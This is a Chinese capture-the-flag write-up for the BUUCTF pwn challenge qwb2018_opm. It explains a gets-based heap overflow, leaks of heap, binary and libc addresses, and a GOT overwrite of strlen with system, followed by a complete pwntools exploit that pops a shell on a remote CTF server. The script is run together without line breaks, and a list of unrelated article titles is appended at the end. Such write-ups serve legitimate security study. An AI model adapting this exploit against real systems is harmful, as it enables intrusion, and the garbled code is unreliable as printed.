我讨厌爆破

只有add没有free,但是add中用了gets,很明显是字符串溢出。但是这个溢出不大好利用,因为后边带个固定的\0结尾。

这样就需要堆块建在一个特殊位置0xXXXXX00XX这时候可以通过溢出控制最后一字节而不影响前边数据。由于堆块都是以000结尾,所以需要爆破半个字节。

思路:

  1. 先建几个块使一个块建在00XX的位置(建两个0x70后第3个块正好建在0030+0060,正常是建到?0XX的位置,前边那个0是爆破得到的)
  2. 再建块时先溢出到v6,将其指向前一个块的数据块(0060)这时会将堆指针写到这里,然后第2次溢出将v6覆盖为前一个块的管理块(0030),当调用sub_B30(v6)时将打印出堆地址。在这里用个标记,当标记不正确时raise个例外。
  3. 有堆地址以后,建次建块时先写入一个指向管理块的指针(管理块开始是sub_B30函数指针)再将这个块当作管理块打印出程序加载地址。
  4. 同3的方法,将got地址写入后,当数据块当作管理块,打印出got表里的值得到libc加载地址。
  5. 由于数据块都是由堆建,没有修改功能,利用第2次写时的atoi 将system后4字节作为数字写入,并溢出覆盖到v6将这里写为strlen -24 然后atoi会将数字值写入got.strlen,将其改为system。
  6. 再次写入/bin/sh时调用strlen得到shell
from pwn import *elf = ELF('./pwn')
context.arch = 'amd64'def connect():global p,libc_elf,one,libc_start_main_ret,locallocal = 0if local == 1:p = process('./pwn')libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]libc_start_main_ret = 0x21a87else:p = remote('node4.buuoj.cn', 29475) libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]libc_start_main_ret = 0x21b97menu = b"(E)xit\n"
def add(name, n):p.sendlineafter(menu, b'A')p.sendlineafter(b"Your name:\n", name)p.sendlineafter(b"N punch?\n", n)def show():p.sendlineafter(menu, b'S')def pwn():context.log_level = 'debug'#s:128 ptr:8add(b'A'*0x70, b'888') #0add(b'A'*0x70, b'888') #1add(b'A'*0x20, b'888') #2add(b'B'*0x70, b'888') #3 0x...0030, 0060#0x...?000add(b'A'*0x80+ b'\x60', b'1'.ljust(0x80, b'\x00') + b'\x30') #4p.recvuntil(b'<')if p.recv(8) != b'B'*8:raise Exception('retry')heap_addr1 = u64(p.recv(6).ljust(8, b'\x00'))print(hex(heap_addr1))heap_addr2 = heap_addr1 - 0x2b0 #chunk0.pre_sizefunc_addr  = heap_addr2 + 0x10  #chunk0.func_b30ptr5_addr  = heap_addr1 + 0xc0  #chunk5.dataprint(hex(heap_addr1), hex(func_addr), hex(ptr5_addr))add(b'A'*8 + p64(func_addr), b'888'.ljust(0x80, b'\x00')+ p64(ptr5_addr)) #5p.recvuntil(b'<')pwn_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xb30elf.address = pwn_baseprint('pwn:', hex(pwn_base))ptr6_addr   = ptr5_addr + 0x50add(b'A'*8 + p64(elf.got['atoi']), b'888'.ljust(0x80, b'\x00')+ p64(ptr6_addr)) #6p.recvuntil(b'<')libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc_elf.sym['atoi']libc_elf.address = libc_baseprint('libc:', hex(libc_base))#*(_DWORD *)(v3 + 24) = atoi(s);add(b'A', str(libc_elf.sym['system'] & 0xffffffff).encode().ljust(0x80, b'\x00') + p64(elf.got['strlen'] - 24))#gdb.attach(p)#pause()p.sendlineafter(menu, b'A')p.sendlineafter(b"Your name:\n", b'/bin/sh')p.sendline(b'cat /flag')p.interactive()while True:try:connect()pwn()except KeyboardInterrupt as e:breakexcept:p.close()print('...')

[BUUCTF-pwn] qwb2018_opm相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 【转】sed 简明教程
  2. Log4Net ,.net和SQL Server的完美结合
  3. jquery+easyui开发、培训文档
  4. Leaflet文档阅读笔记-Markers With Custom Icons笔记
  5. nginx 调用dll_使用DLL中的资源
  6. GitHub 一周热点速览:前后端最佳实践
  7. Java之品优购课程讲义_day09(2)
  8. 市场经济下,一周休息2.5天难在落实
  9. 性能调优第一篇-SQL格式化
  10. js中的dataset的使用
  11. 第二章:上下文无关文法
  12. WIN10系统右下角网络连接图标消失解决方案
  13. 移动金融客户端应用软件备案、中国支付清算协会“聚合支付”业务备案、工业和信息化部网站备案系统(ICP备案)
  14. Live-Charts在WPF中的使用
  15. 华为路由器 环回互通实验(顺时针)
  16. 自媒体多平台多账号群发工具开发日记:第1天 工具的统筹规划
  17. ReentrantLock 实现原理笔记(一)
  18. 分布式系统常见问题总结
  19. 学习笔记:C++进阶【继承、多态、二叉树进阶、map和set、哈希、C++11、异常、智能指针、特殊类设计、C++的类型转换】
  20. 用TB5128FTG替换THB6128驱动方案 要点

热门文章

  1. 动物派对怎么修改服务器,动物派对登录失败怎么办 Party Animals玩法进入游戏解决方法...
  2. 虚拟机无法启动提示give root password for maintenance的多种解决方法
  3. 读书笔记:人性的弱点读后感
  4. 大数据主导的七大领域,看看你是否身处其中!
  5. IE浏览器报错Unhandled promise rejection Error: 拒绝访问。文件流下载
  6. python 10进制转2进制
  7. Hibernate各种查询方法
  8. js逆向-马蜂窝cookies分析
  9. 三维重建 医学图像的可视化 PyQt Python VTK 四视图(横断面,冠状面,矢状面,3D)
  10. 苦涩又难理解的IO<2>